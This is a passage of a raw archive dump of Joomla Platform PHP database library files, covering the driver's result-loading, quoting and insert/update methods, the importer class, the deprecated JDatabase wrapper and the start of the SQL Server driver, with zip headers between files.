*%s* is not defined', $iteratorClass)); } // Return a new iterator return new $iteratorClass($this->execute(), $column, $class); } /** * Retrieves field information about the given tables. * * @param string $table The name of the database table. * @param boolean $typeOnly True (default) to only return field types. * * @return array An array of fields by table. * * @since 1.7.0 * @throws RuntimeException */ abstract public function getTableColumns($table, $typeOnly = true); /** * Shows the table CREATE statement that creates the given tables. * * @param mixed $tables A table name or a list of table names. * * @return array A list of the create SQL for the tables. * * @since 1.7.0 * @throws RuntimeException */ abstract public function getTableCreate($tables); /** * Retrieves keys information about the given table. * * @param string $table The name of the table. * * @return array An array of keys for the table. * * @since 1.7.0 * @throws RuntimeException */ abstract public function getTableKeys($table); /** * Method to get an array of all tables in the database. * * @return array An array of all the tables in the database. * * @since 1.7.0 * @throws RuntimeException */ abstract public function getTableList(); /** * Determine whether or not the database engine supports UTF-8 character encoding. * * @return boolean True if the database engine supports UTF-8 character encoding. * * @since 1.7.0 * @deprecated 4.0 - Use hasUTFSupport() instead */ public function getUTFSupport() { JLog::add('JDatabaseDriver::getUTFSupport() is deprecated. Use JDatabaseDriver::hasUTFSupport() instead.', JLog::WARNING, 'deprecated'); return $this->hasUTFSupport(); } /** * Determine whether or not the database engine supports UTF-8 character encoding. * * @return boolean True if the database engine supports UTF-8 character encoding. * * @since 3.0.0 */ public function hasUTFSupport() { return $this->utf; } /** * Determine whether the database engine support the UTF-8 Multibyte (utf8mb4) character encoding. This applies to * MySQL databases. * * @return boolean True if the database engine supports UTF-8 Multibyte. * * @since CMS 3.5.0 */ public function hasUTF8mb4Support() { return $this->utf8mb4; } /** * Get the version of the database connector * * @return string The database connector version. * * @since 1.7.0 */ abstract public function getVersion(); /** * Method to get the auto-incremented value from the last INSERT statement. * * @return mixed The value of the auto-increment field from the last inserted row. * * @since 1.7.0 */ abstract public function insertid(); /** * Inserts a row into a table based on an object's properties. * * @param string $table The name of the database table to insert into. * @param object &$object A reference to an object whose public properties match the table fields. * @param string $key The name of the primary key. If provided the object property is updated. * * @return boolean True on success. * * @since 1.7.0 * @throws RuntimeException */ public function insertObject($table, &$object, $key = null) { $fields = array(); $values = array(); // Iterate over the object variables to build the query fields and values. foreach (get_object_vars($object) as $k => $v) { // Only process non-null scalars. if (is_array($v) or is_object($v) or $v === null) { continue; } // Ignore any internal fields. if ($k[0] == '_') { continue; } // Prepare and sanitize the fields and values for the database query. $fields[] = $this->quoteName($k); $values[] = $this->quote($v); } // Create the base insert statement. $query = $this->getQuery(true) ->insert($this->quoteName($table)) ->columns($fields) ->values(implode(',', $values)); // Set the query and execute the insert. $this->setQuery($query); if (!$this->execute()) { return false; } // Update the primary key if it exists. $id = $this->insertid(); if ($key && $id && is_string($key)) { $object->$key = $id; } return true; } /** * Method to check whether the installed database version is supported by the database driver * * @return boolean True if the database version is supported * * @since 3.0.0 */ public function isMinimumVersion() { return version_compare($this->getVersion(), static::$dbMinimum) >= 0; } /** * Method to get the first row of the result set from the database query as an associative array * of ['field_name' => 'row_value']. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadAssoc() { $this->connect(); $ret = null; // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get the first row from the result set as an associative array. if ($array = $this->fetchAssoc($cursor)) { $ret = $array; } // Free up system resources and return. $this->freeResult($cursor); return $ret; } /** * Method to get an array of the result set rows from the database query where each row is an associative array * of ['field_name' => 'row_value']. The array of rows can optionally be keyed by a field name, but defaults to * a sequential numeric array. * * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted * behavior and should be avoided. * * @param string $key The name of a field on which to key the result array. * @param string $column An optional column name. Instead of the whole row, only this column value will be in * the result array. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadAssocList($key = null, $column = null) { $this->connect(); $array = array(); // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get all of the rows from the result set. while ($row = $this->fetchAssoc($cursor)) { $value = ($column) ? (isset($row[$column]) ? $row[$column] : $row) : $row; if ($key) { $array[$row[$key]] = $value; } else { $array[] = $value; } } // Free up system resources and return. $this->freeResult($cursor); return $array; } /** * Method to get an array of values from the <var>$offset</var> field in each row of the result set from * the database query. * * @param integer $offset The row offset to use to build the result array. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadColumn($offset = 0) { $this->connect(); $array = array(); // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get all of the rows from the result set as arrays. while ($row = $this->fetchArray($cursor)) { $array[] = $row[$offset]; } // Free up system resources and return. $this->freeResult($cursor); return $array; } /** * Method to get the next row in the result set from the database query as an object. * * @param string $class The class name to use for the returned row object. * * @return mixed The result of the query as an array, false if there are no more rows. * * @since 1.7.0 * @throws RuntimeException * @deprecated 4.0 - Use getIterator() instead */ public function loadNextObject($class = 'stdClass') { JLog::add(__METHOD__ . '() is deprecated. Use JDatabaseDriver::getIterator() instead.', JLog::WARNING, 'deprecated'); $this->connect(); static $cursor = null; // Execute the query and get the result set cursor. if (is_null($cursor)) { if (!($cursor = $this->execute())) { return $this->errorNum ? null : false; } } // Get the next row from the result set as an object of type $class. if ($row = $this->fetchObject($cursor, $class)) { return $row; } // Free up system resources and return. $this->freeResult($cursor); $cursor = null; return false; } /** * Method to get the next row in the result set from the database query as an array. * * @return mixed The result of the query as an array, false if there are no more rows. * * @since 1.7.0 * @throws RuntimeException * @deprecated 4.0 (CMS) Use JDatabaseDriver::getIterator() instead */ public function loadNextRow() { JLog::add(__METHOD__ . '() is deprecated. Use JDatabaseDriver::getIterator() instead.', JLog::WARNING, 'deprecated'); $this->connect(); static $cursor = null; // Execute the query and get the result set cursor. if (is_null($cursor)) { if (!($cursor = $this->execute())) { return $this->errorNum ? null : false; } } // Get the next row from the result set as an object of type $class. if ($row = $this->fetchArray($cursor)) { return $row; } // Free up system resources and return. $this->freeResult($cursor); $cursor = null; return false; } /** * Method to get the first row of the result set from the database query as an object. * * @param string $class The class name to use for the returned row object. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadObject($class = 'stdClass') { $this->connect(); $ret = null; // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get the first row from the result set as an object of type $class. if ($object = $this->fetchObject($cursor, $class)) { $ret = $object; } // Free up system resources and return. $this->freeResult($cursor); return $ret; } /** * Method to get an array of the result set rows from the database query where each row is an object. The array * of objects can optionally be keyed by a field name, but defaults to a sequential numeric array. * * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted * behavior and should be avoided. * * @param string $key The name of a field on which to key the result array. * @param string $class The class name to use for the returned row objects. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadObjectList($key = '', $class = 'stdClass') { $this->connect(); $array = array(); // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get all of the rows from the result set as objects of type $class. while ($row = $this->fetchObject($cursor, $class)) { if ($key) { $array[$row->$key] = $row; } else { $array[] = $row; } } // Free up system resources and return. $this->freeResult($cursor); return $array; } /** * Method to get the first field of the first row of the result set from the database query. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadResult() { $this->connect(); $ret = null; // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get the first row from the result set as an array. if ($row = $this->fetchArray($cursor)) { $ret = $row[0]; } // Free up system resources and return. $this->freeResult($cursor); return $ret; } /** * Method to get the first row of the result set from the database query as an array. Columns are indexed * numerically so the first column in the result set would be accessible via <var>$row[0]</var>, etc. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadRow() { $this->connect(); $ret = null; // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get the first row from the result set as an array. if ($row = $this->fetchArray($cursor)) { $ret = $row; } // Free up system resources and return. $this->freeResult($cursor); return $ret; } /** * Method to get an array of the result set rows from the database query where each row is an array. The array * of objects can optionally be keyed by a field offset, but defaults to a sequential numeric array. * * NOTE: Choosing to key the result array by a non-unique field can result in unwanted * behavior and should be avoided. * * @param integer $index The index of a field on which to key the result array. * * @return mixed The return value or null if the query failed. * * @since 1.7.0 * @throws RuntimeException */ public function loadRowList($index = null) { $this->connect(); $array = array(); // Execute the query and get the result set cursor. if (!($cursor = $this->execute())) { return; } // Get all of the rows from the result set as arrays. while ($row = $this->fetchArray($cursor)) { if ($index !== null) { $array[$row[$index]] = $row; } else { $array[] = $row; } } // Free up system resources and return. $this->freeResult($cursor); return $array; } /** * Locks a table in the database. * * @param string $tableName The name of the table to unlock. * * @return JDatabaseDriver Returns this object to support chaining. * * @since 2.5.0 * @throws RuntimeException */ abstract public function lockTable($tableName); /** * Quotes and optionally escapes a string to database requirements for use in database queries. * * @param mixed $text A string or an array of strings to quote. * @param boolean $escape True (default) to escape the string, false to leave it unchanged. * * @return string|array The quoted input. * * @note Accepting an array of strings was added in 12.3. * @since 1.7.0 */ public function quote($text, $escape = true) { if (is_array($text)) { foreach ($text as $k => $v) { $text[$k] = $this->quote($v, $escape); } return $text; } else { return '\'' . ($escape ? $this->escape($text) : $text) . '\''; } } /** * Quotes a binary string to database requirements for use in database queries. * * @param mixed $data A binary string to quote. * * @return string The binary quoted input string. * * @since 3.9.12 */ public function quoteBinary($data) { // SQL standard syntax for hexadecimal literals return "X'" . bin2hex($data) . "'"; } /** * Wrap an SQL statement identifier name such as column, table or database names in quotes to prevent injection * risks and reserved word conflicts. * * @param mixed $name The identifier name to wrap in quotes, or an array of identifier names to wrap in quotes. * Each type supports dot-notation name. * @param mixed $as The AS query part associated to $name. It can be string or array, in latter case it has to be * same length of $name; if is null there will not be any AS part for string or array element. * * @return mixed The quote wrapped name, same type of $name. * * @since 1.7.0 */ public function quoteName($name, $as = null) { if (is_string($name)) { $quotedName = $this->quoteNameStr(explode('.', $name)); $quotedAs = ''; if (!is_null($as)) { settype($as, 'array'); $quotedAs .= ' AS ' . $this->quoteNameStr($as); } return $quotedName . $quotedAs; } else { $fin = array(); if (is_null($as)) { foreach ($name as $str) { $fin[] = $this->quoteName($str); } } elseif (is_array($name) && (count($name) == count($as))) { $count = count($name); for ($i = 0; $i < $count; $i++) { $fin[] = $this->quoteName($name[$i], $as[$i]); } } return $fin; } } /** * Quote strings coming from quoteName call. * * @param array $strArr Array of strings coming from quoteName dot-explosion. * * @return string Dot-imploded string of quoted parts. * * @since 1.7.3 */ protected function quoteNameStr($strArr) { $parts = array(); $q = $this->nameQuote; foreach ($strArr as $part) { if (is_null($part)) { continue; } if (strlen($q) == 1) { $parts[] = $q . str_replace($q, $q . $q, $part) . $q; } else { $parts[] = $q[0] . str_replace($q[1], $q[1] . $q[1], $part) . $q[1]; } } return implode('.', $parts); } /** * This function replaces a string identifier <var>$prefix</var> with the string held is the * <var>tablePrefix</var> class variable. * * @param string $sql The SQL statement to prepare. * @param string $prefix The common table prefix. * * @return string The processed SQL statement. * * @since 1.7.0 */ public function replacePrefix($sql, $prefix = '#__') { $startPos = 0; $literal = ''; $sql = trim($sql); $n = strlen($sql); while ($startPos < $n) { $ip = strpos($sql, $prefix, $startPos); if ($ip === false) { break; } $j = strpos($sql, "'", $startPos); $k = strpos($sql, '"', $startPos); if (($k !== false) && (($k < $j) || ($j === false))) { $quoteChar = '"'; $j = $k; } else { $quoteChar = "'"; } if ($j === false) { $j = $n; } $literal .= str_replace($prefix, $this->tablePrefix, substr($sql, $startPos, $j - $startPos)); $startPos = $j; $j = $startPos + 1; if ($j >= $n) { break; } // Quote comes first, find end of quote while (true) { $k = strpos($sql, $quoteChar, $j); $escaped = false; if ($k === false) { break; } $l = $k - 1; while ($l >= 0 && $sql[$l] == '\\') { $l--; $escaped = !$escaped; } if ($escaped) { $j = $k + 1; continue; } break; } if ($k === false) { // Error in the query - no end quote; ignore it break; } $literal .= substr($sql, $startPos, $k - $startPos + 1); $startPos = $k + 1; } if ($startPos < $n) { $literal .= substr($sql, $startPos, $n - $startPos); } return $literal; } /** * Renames a table in the database. * * @param string $oldTable The name of the table to be renamed * @param string $newTable The new name for the table. * @param string $backup Table prefix * @param string $prefix For the table - used to rename constraints in non-mysql databases * * @return JDatabaseDriver Returns this object to support chaining. * * @since 2.5.0 * @throws RuntimeException */ abstract public function renameTable($oldTable, $newTable, $backup = null, $prefix = null); /** * Select a database for use. * * @param string $database The name of the database to select for use. * * @return boolean True if the database was successfully selected. * * @since 1.7.0 * @throws RuntimeException */ abstract public function select($database); /** * Sets the database debugging state for the driver. * * @param boolean $level True to enable debugging. * * @return boolean The old debugging level. * * @since 1.7.0 * @deprecated 4.0 This will be removed in Joomla 4 without replacement */ public function setDebug($level) { $previous = $this->debug; $this->debug = (bool) $level; return $previous; } /** * Sets the SQL statement string for later execution. * * @param mixed $query The SQL statement to set either as a JDatabaseQuery object or a string. * @param integer $offset The affected row offset to set. * @param integer $limit The maximum affected rows to set. * * @return JDatabaseDriver This object to support method chaining. * * @since 1.7.0 */ public function setQuery($query, $offset = 0, $limit = 0) { $this->sql = $query; if ($query instanceof JDatabaseQueryLimitable) { if (!$limit && $query->limit) { $limit = $query->limit; } if (!$offset && $query->offset) { $offset = $query->offset; } $query->setLimit($limit, $offset); } else { $this->limit = (int) max(0, $limit); $this->offset = (int) max(0, $offset); } return $this; } /** * Set the connection to use UTF-8 character encoding. * * @return boolean True on success. * * @since 1.7.0 */ abstract public function setUtf(); /** * Method to commit a transaction. * * @param boolean $toSavepoint If true, commit to the last savepoint. * * @return void * * @since 1.7.0 * @throws RuntimeException */ abstract public function transactionCommit($toSavepoint = false); /** * Method to roll back a transaction. * * @param boolean $toSavepoint If true, rollback to the last savepoint. * * @return void * * @since 1.7.0 * @throws RuntimeException */ abstract public function transactionRollback($toSavepoint = false); /** * Method to initialize a transaction. * * @param boolean $asSavepoint If true and a transaction is already active, a savepoint will be created. * * @return void * * @since 1.7.0 * @throws RuntimeException */ abstract public function transactionStart($asSavepoint = false); /** * Method to truncate a table. * * @param string $table The table to truncate * * @return void * * @since 1.7.3 * @throws RuntimeException */ public function truncateTable($table) { $this->setQuery('TRUNCATE TABLE ' . $this->quoteName($table)); $this->execute(); } /** * Updates a row in a table based on an object's properties. * * @param string $table The name of the database table to update. * @param object &$object A reference to an object whose public properties match the table fields. * @param array|string $key The name of the primary key. * @param boolean $nulls True to update null fields or false to ignore them. * * @return boolean True on success. * * @since 1.7.0 * @throws RuntimeException */ public function updateObject($table, &$object, $key, $nulls = false) { $fields = array(); $where = array(); if (is_string($key)) { $key = array($key); } if (is_object($key)) { $key = (array) $key; } // Create the base update statement. $statement = 'UPDATE ' . $this->quoteName($table) . ' SET %s WHERE %s'; // Iterate over the object variables to build the query fields/value pairs. foreach (get_object_vars($object) as $k => $v) { // Only process scalars that are not internal fields. if (is_array($v) || is_object($v) || $k[0] === '_') { continue; } // Set the primary key to the WHERE clause instead of a field to update. if (in_array($k, $key)) { $where[] = $this->quoteName($k) . ($v === null ? ' IS NULL' : ' = ' . $this->quote($v)); continue; } // Prepare and sanitize the fields and values for the database query. if ($v === null) { // If the value is null and we want to update nulls then set it. if ($nulls) { $val = 'NULL'; } // If the value is null and we do not want to update nulls then ignore this field. else { continue; } } // The field is not null so we prep it for update. else { $val = $this->quote($v); } // Add the field to be updated. $fields[] = $this->quoteName($k) . '=' . $val; } // We don't have any fields to update. if (empty($fields)) { return true; } // Set the query and execute the update. $this->setQuery(sprintf($statement, implode(',', $fields), implode(' AND ', $where))); return $this->execute(); } /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 3.0.0 * @throws RuntimeException */ abstract public function execute(); /** * Unlocks tables in the database. * * @return JDatabaseDriver Returns this object to support chaining. * * @since 2.5.0 * @throws RuntimeException */ abstract public function unlockTables(); } PK�\q|�=FFjoomla/database/importer.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Importer Class * * @since 3.0.0 */ abstract class JDatabaseImporter { /** * @var array An array of cached data. * @since 3.2.0 */ protected $cache = array(); /** * The database connector to use for exporting structure and/or data. * * @var JDatabaseDriver * @since 3.2.0 */ protected $db = null; /** * The input source. * * @var mixed * @since 3.2.0 */ protected $from = array(); /** * The type of input format (XML). * * @var string * @since 3.2.0 */ protected $asFormat = 'xml'; /** * An array of options for the exporter. * * @var object * @since 3.2.0 */ protected $options = null; /** * Constructor. * * Sets up the default options for the exporter. * * @since 3.2.0 */ public function __construct() { $this->options = new stdClass; $this->cache = array('columns' => array(), 'keys' => array()); // Set up the class defaults: // Import with only structure $this->withStructure(); // Export as XML. $this->asXml(); // Default destination is a string using $output = (string) $exporter; } /** * Set the output option for the exporter to XML format. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function asXml() { $this->asFormat = 'xml'; return $this; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 * @throws Exception if an error is encountered. */ abstract public function check(); /** * Specifies the data source to import. * * @param mixed $from The data source to import. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function from($from) { $this->from = $from; return $this; } /** * Get the SQL syntax to drop a column. * * @param string $table The table name. * @param string $name The name of the field to drop. * * @return string * * @since 3.2.0 */ protected function getDropColumnSql($table, $name) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP COLUMN ' . $this->db->quoteName($name); } /** * Get the real name of the table, converting the prefix wildcard string if present. * * @param string $table The name of the table. * * @return string The real name of the table. * * @since 3.2.0 */ protected function getRealTableName($table) { $prefix = $this->db->getPrefix(); // Replace the magic prefix if found. $table = preg_replace('|^#__|', $prefix, $table); return $table; } /** * Merges the incoming structure definition with the existing structure. * * @return void * * @note Currently only supports XML format. * @since 3.2.0 * @throws RuntimeException on error. */ public function mergeStructure() { $prefix = $this->db->getPrefix(); $tables = $this->db->getTableList(); if ($this->from instanceof SimpleXMLElement) { $xml = $this->from; } else { $xml = new SimpleXMLElement($this->from); } // Get all the table definitions. $xmlTables = $xml->xpath('database/table_structure'); foreach ($xmlTables as $table) { // Convert the magic prefix into the real table name. $tableName = (string) $table['name']; $tableName = preg_replace('|^#__|', $prefix, $tableName); if (in_array($tableName, $tables)) { // The table already exists. Now check if there is any difference. if ($queries = $this->getAlterTableSql($table)) { // Run the queries to upgrade the data structure. foreach ($queries as $query) { $this->db->setQuery((string) $query); $this->db->execute(); } } } else { // This is a new table. $sql = $this->xmlToCreate($table); $this->db->setQuery((string) $sql); $this->db->execute(); } } } /** * Sets the database connector to use for exporting structure and/or data. * * @param JDatabaseDriver $db The database connector. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function setDbo(JDatabaseDriver $db) { $this->db = $db; return $this; } /** * Sets an internal option to merge the structure based on the input data. * * @param boolean $setting True to export the structure, false to not. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function withStructure($setting = true) { $this->options->withStructure = (boolean) $setting; return $this; } } PK�\�b(��joomla/database/database.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Database connector class. * * @since 1.7.0 * @deprecated 4.0 */ abstract class JDatabase { /** * Execute the SQL statement. * * @return mixed A database cursor resource on success, boolean false on failure. * * @since 1.7.0 * @throws RuntimeException * @deprecated 4.0 */ public function query() { JLog::add('JDatabase::query() is deprecated, use JDatabaseDriver::execute() instead.', JLog::WARNING, 'deprecated'); return $this->execute(); } /** * Get a list of available database connectors. The list will only be populated with connectors that both * the class exists and the static test method returns true. This gives us the ability to have a multitude * of connector classes that are self-aware as to whether or not they are able to be used on a given system. * * @return array An array of available database connectors. * * @since 1.7.0 * @deprecated 4.0 */ public static function getConnectors() { JLog::add('JDatabase::getConnectors() is deprecated, use JDatabaseDriver::getConnectors() instead.', JLog::WARNING, 'deprecated'); return JDatabaseDriver::getConnectors(); } /** * Gets the error message from the database connection. * * @param boolean $escaped True to escape the message string for use in JavaScript. * * @return string The error message for the most recent query. * * @deprecated 4.0 * @since 1.7.0 */ public function getErrorMsg($escaped = false) { JLog::add('JDatabase::getErrorMsg() is deprecated, use exception handling instead.', JLog::WARNING, 'deprecated'); if ($escaped) { return addslashes($this->errorMsg); } else { return $this->errorMsg; } } /** * Gets the error number from the database connection. * * @return integer The error number for the most recent query. * * @since 1.7.0 * @deprecated 4.0 */ public function getErrorNum() { JLog::add('JDatabase::getErrorNum() is deprecated, use exception handling instead.', JLog::WARNING, 'deprecated'); return $this->errorNum; } /** * Method to return a JDatabaseDriver instance based on the given options. There are three global options and then * the rest are specific to the database driver. The 'driver' option defines which JDatabaseDriver class is * used for the connection -- the default is 'mysqli'. The 'database' option determines which database is to * be used for the connection. The 'select' option determines whether the connector should automatically select * the chosen database. * * Instances are unique to the given options and new objects are only created when a unique options array is * passed into the method. This ensures that we don't end up with unnecessary database connection resources. * * @param array $options Parameters to be passed to the database driver. * * @return JDatabaseDriver A database object. * * @since 1.7.0 * @deprecated 4.0 */ public static function getInstance($options = array()) { JLog::add('JDatabase::getInstance() is deprecated, use JDatabaseDriver::getInstance() instead.', JLog::WARNING, 'deprecated'); return JDatabaseDriver::getInstance($options); } /** * Splits a string of multiple queries into an array of individual queries. * * @param string $query Input SQL string with which to split into individual queries. * * @return array The queries from the input string separated into an array. * * @since 1.7.0 * @deprecated 4.0 */ public static function splitSql($query) { JLog::add('JDatabase::splitSql() is deprecated, use JDatabaseDriver::splitSql() instead.', JLog::WARNING, 'deprecated'); return JDatabaseDriver::splitSql($query); } /** * Return the most recent error message for the database connector. * * @param boolean $showSQL True to display the SQL statement sent to the database as well as the error. * * @return string The error message for the most recent query. * * @since 1.7.0 * @deprecated 4.0 */ public function stderr($showSQL = false) { JLog::add('JDatabase::stderr() is deprecated.', JLog::WARNING, 'deprecated'); if ($this->errorNum != 0) { return JText::sprintf('JLIB_DATABASE_ERROR_FUNCTION_FAILED', $this->errorNum, $this->errorMsg) . ($showSQL ? "<br />SQL = <pre>$this->sql</pre>" : ''); } else { return JText::_('JLIB_DATABASE_FUNCTION_NOERROR'); } } /** * Test to see if the connector is available. * * @return boolean True on success, false otherwise. * * @since 1.7.0 * @deprecated 4.0 - Use JDatabaseDriver::isSupported() instead. */ public static function test() { JLog::add('JDatabase::test() is deprecated. Use JDatabaseDriver::isSupported() instead.', JLog::WARNING, 'deprecated'); return static::isSupported(); } } PK�\Iʲll!joomla/database/driver/sqlsrv.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQL Server database driver * * @link https://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx * @since 3.0.0 */ class JDatabaseDriverSqlsrv extends JDatabaseDriver { /** * The name of the database driver. * * @var string * @since 3.0.0 */ public $name = 'sqlsrv'; /** * The type of the database server family supported by this driver. * * @var string * @since CMS 3.5.0 */ public $serverType = 'mssql'; /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * @since 3.0.0 */ protected $nameQuote = '[]'; /** * The null or zero representation of a timestamp for the database driver. This should be * defined in child classes to hold the appropriate value for the engine. * * @var string * @since 3.0.0 */ protected $nullDate = '1900-01-01 00:00:00'; /** * @var string The minimum supported database version. * @since 3.0.0 */ protected static $dbMinimum = '10.50.1600.1'; /** * Test to see if the SQLSRV connector is available. * * @return boolean True on success, false otherwise. * * @since 3.0.0 */ public static function isSupported() { return function_exists('sqlsrv_connect'); } /** * Constructor. * * @param array $options List of options used to configure the connection * * @since 3.0.0 */ public function __construct($options) { // Get some basic values from the options. $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost'; $options['user'] = (isset($options['user'])) ? $options['user'] : ''; $options['password'] = (isset($options['password'])) ? $options['password'] : ''; $options['database'] = (isset($options['database'])) ? $options['database'] : ''; $options['select'] = (isset($options['select'])) ? (bool) $options['select'] : true; // Finalize initialisation parent::__construct($options); } /** * Connects to the database if needed. * * @return void Returns void if the database connected successfully. * * @since 3.0.0 * @throws RuntimeException */ public function connect() { if ($this->connection) { return; } // Build the connection configuration array. $config = array( 'Database' => $this->options['database'], 'uid' => $this->options['user'], 'pwd' => $this->options['password'], 'CharacterSet' => 'UTF-8', 'ReturnDatesAsStrings' => true, ); // Make sure the SQLSRV extension for PHP is installed and enabled. if (!self::isSupported()) { throw new JDatabaseExceptionUnsupported('The sqlsrv extension for PHP is not installed or enabled..'); } // Attempt to connect to the server. if (!($this->connection = @ sqlsrv_connect($this->options['host'], $config))) { throw new JDatabaseExceptionConnecting('Database sqlsrv_connect failed, ' . print_r(sqlsrv_errors(), true)); } // Make sure that DB warnings are not returned as errors. sqlsrv_configure('WarningsReturnAsErrors', 0); // If auto-select is enabled select the given database. if ($this->options['select'] && !empty($this->options['database'])) { $this->select($this->options['database']); } // Set charactersets. $this->utf = $this->setUtf(); // Set QUOTED_IDENTIFIER always ON sqlsrv_query($this->connection, 'SET QUOTED_IDENTIFIER ON'); } /** * Disconnects the database. * * @return void * * @since 3.0.0 */ public function disconnect() { // Close the connection. if (is_resource($this->connection)) { foreach ($this->disconnectHandlers as $h) { call_user_func_array($h, array( &$this)); } sqlsrv_close($this->connection); } $this->connection = null; } /** * Get table constraints * * @param string $tableName The name of the database table. * * @return array Any constraints available for the table. * * @since 3.0.0 */ protected function getTableConstraints($tableName) { $this->connect(); $query = $this->getQuery(true); $this->setQuery( 'SELECT CONSTRAINT_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS WHERE TABLE_NAME = ' . $query->quote($tableName) ); return $this->loadColumn(); } /** * Rename constraints. * * @param array $constraints Array(strings) of table constraints * @param string $prefix A string * @param string $backup A string * * @return void * * @since 3.0.0 */ protected function renameConstraints($constraints = array(), $prefix = null, $backup = null) { $this->connect(); foreach ($constraints as $constraint) { $this->setQuery('sp_rename ' . $constraint . ',' . str_replace($prefix, $backup, $constraint)); $this->execute(); } } /** * Method to escape a string for usage in an SQL statement. * * The escaping for MSSQL isn't handled in the driver though that would be nice. Because of this we need * to handle the escaping ourselves. * * @param string $text The string to be escaped. * @param boolean $extra Optional parameter to provide extra escaping. * * @return string The escaped string. * * @since 3.0.0 */ public function escape($text, $extra = false) { if (is_int($text)) { return $text; } if (is_float($text)) { // Force the dot as a decimal point. return str_replace(',', '.', $text); } $result = str_replace("'", "''", $text); // SQL Server does not accept NULL byte in query string $result = str_replace("\0", "' + CHAR(0) + N'", $result); // Fix for SQL Server escape sequence, see https://support.microsoft.com/en-us/kb/164291 $result = str_replace( array("\\\n", "\\\r", "\\\\\r\r\n"), array("\\\\\n\n", "\\\\\r\r", "\\\\\r\n\r\n"), $result ); if ($extra) { // Escape special chars $result = str_replace( array('[', '_', '%'), array('[[]', '[_]', '[%]'), $result ); } return $result; } /** * Quotes and optionally escapes a string to database requirements for use in database queries. * * @param mixed $text A string or an array of strings to quote. * @param boolean $escape True (default) to escape the string, false to leave it unchanged. * * @return string The quoted input string. * * @note Accepting an array of strings was added in 3.1.4. * @since 1.7.0 */ public function quote($text, $escape = true) { if (is_array($text)) { return parent::quote($text, $escape); } // To support unicode on MSSQL we have to add prefix N return 'N\'' . ($escape ? $this->escape($text) : $text) . '\''; } /** * Quotes a binary string to database requirements for use in database queries. * * @param mixed $data A binary string to quote. * * @return string The binary quoted input string. * * @since 3.9.12 */ public function quoteBinary($data) { // ODBC syntax for hexadecimal literals return '0x' . bin2hex($data); } /** * Determines if the connection to the server is active. * * @return boolean True if connected to the database engine. * * @since 3.0.0 */ public function connected() { // TODO: Run a blank query here return true; } /** * Drops a table from the database. * * @param string $tableName The name of the database table to drop. * @param boolean $ifExists Optionally specify that the table must exist before it is dropped. * * @return JDatabaseDriverSqlsrv Returns this object to support chaining. * * @since 3.0.0 */ public function dropTable($tableName, $ifExists = true) { $this->connect(); $query = $this->getQuery(true); if ($ifExists) { $this->setQuery( 'IF EXISTS(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = ' . $query->quote($tableName) . ') DROP TABLE ' . $tableName ); } else { $this->setQuery('DROP TABLE ' . $tableName); } $this->execute(); return $this; } /** * Get the number of affected rows for the previous executed SQL statement. * * @return integer The number of affected rows. * * @since 3.0.0 */ public function getAffectedRows() { $this->connect(); return sqlsrv_rows_affected($this->cursor); } /** * Method to get the database collation in use by sampling a text field of a table in the database. * * @return mixed The collation in use by the database or boolean false if not supported. * * @since 3.0.0 */ public function getCollation() { // TODO: Not fake this return 'MSSQL UTF-8 (UCS2)'; } /** * Method to get the database connection collation, as reported by the driver. If the connector doesn't support * reporting this value please return an empty string. * * @return string */ public function getConnectionCollation() { // TODO: Not fake this return 'MSSQL UTF-8 (UCS2)'; } /** * Get the number of returned rows for the previous executed SQL statement. * * @param resource $cursor An optional database cursor resource to extract the row count from. * * @return integer The number of returned rows. * * @since 3.0.0 */ public function getNumRows($cursor = null) { $this->connect(); return sqlsrv_num_rows($cursor ? $cursor : $this->cursor); } /** * Retrieves field information about the given tables. * * @param mixed $table A table name * @param boolean $typeOnly True to only return field types. * * @return array An array of fields. * * @since 3.0.0 * @throws RuntimeException */ public function getTableColumns($table, $typeOnly = true) { $result = array(); $table_temp = $this->replacePrefix((string) $table); // Set the query to get the table fields statement. 